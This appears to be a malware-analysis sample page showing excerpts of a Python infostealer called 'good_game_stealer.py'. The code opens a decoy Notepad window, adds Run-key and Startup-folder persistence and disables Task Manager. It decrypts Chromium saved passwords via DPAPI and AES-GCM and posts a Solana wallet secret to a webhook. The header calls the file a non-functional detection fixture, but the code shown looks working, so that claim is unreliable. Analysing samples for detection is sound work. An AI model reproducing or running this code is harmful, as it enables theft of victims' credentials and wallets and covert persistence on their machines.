Hostile 99% python Download

good_game_stealer.py

Python exfiltrates DPAPI-decrypted browser secretsPython decrypts Chromium logins via DPAPI
SHA-25608b7a13ca5195c1580cdc336bf9305d31799d6a33fe127ca7833584f41f3f2ec

Evidence

English function-word token "the" lines 1–3
1# Reconstructed fixture for detection-rule testing (UAT-12643 / Talos
2# write-up on the public PyInstaller "Good Game" stealer). Non-functional:
3# each helper below carries only the A …
Imports Python base64 module lines 4–29
4:45… ing rules; it does not steal,
5# upload, or exfiltrate anything when run.
6import base64
7import json
8import os
9import random
10import string
11import time
12import tkinter as tk
13import winreg
14
15import requests
16from Crypto.Cipher import AES
17from solana.keypair import Keypair
18
19# --- Decoy UI ---
20def show_decoy_notepad():
21 root = tk.Tk()
22 root.title("Notepad")
23 tk.Text(root).pack()
24 root.mainloop()
25
⋯4 lines
Solana keypair from a Base58 secret lines 35–82
35:5… if total_ram_gb < 2:
36 return True
37 if os.path.exists(r"C:\windows\system32\wineboot.exe"):
38 return True
39 return False
40
41# --- Persistence: HKCU Run "Zoipers" + Startup folder copy ---
42def install_persistence(exe_path):
43 key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
44 r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
45 winreg.SetValueEx(key, "Zoipers", 0, winreg.REG_SZ, exe_path)
46 startup = os.path.join(os.environ["APPDATA"], r"Microsoft\Windows\Start Menu\Programs\Startup")
47 with open(os.path.join(startup, "Zoipers.exe"), "wb") as dst, open(exe_path, "rb") as src:
48 dst.write(src.read())
49
50def disable_task_manager():
51 key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE,
52 r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")
53 winreg.SetValueEx(key, "DisableTaskMgr", 0, winreg.REG_DWORD, 1)
54
55# --- Chromium saved-login decryption (DPAPI + AES-GCM) ---
56def unprotect_master_key(user_data_dir):
57 local_state_path = os.path.join(user_data_dir, "Local State")
58 with open(local_state_path, "r") as f:
59 state = json.load(f)
60 encrypted_key = base64.b64decode(state["os_crypt"]["encrypted_key"])
61 import win32crypt
62 return win32crypt.CryptUnprotectData(encrypted_key[5:], None, None, None, 0)[1]
63
64def decrypt_logins(key, db_path):
65 import sqlite3
66 conn = sqlite3.connect(db_path)
67 rows = conn.execute("SELECT origin_url, username_value, password_value FROM logins").fetchall()
68 out = []
69 for _, user, enc in rows:
70 cipher = AES.new(key, AES.MODE_GCM, nonce=enc[3:15])
71 out.append((user, cipher.decrypt(enc[15:-16])))
72 return out
73
74# --- Solana wallet secret exfil ---
75def exfil_solana_key(secret_base58, webhook_url):
76 kp = Keypair.from_base58_string(secret_base58)
77 payload = {"secret": base64.b64encode(bytes(kp)).decode()}
78 requests.post(webhook_url, json=payload)
79
80# --- Loot staging + Gofile upload + Discord webhook alert ---
81def stage_name():
82 return "SK_" + "".join(random.choices(string.ascii_letters + string.digits, k=8)) + ".zip"

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.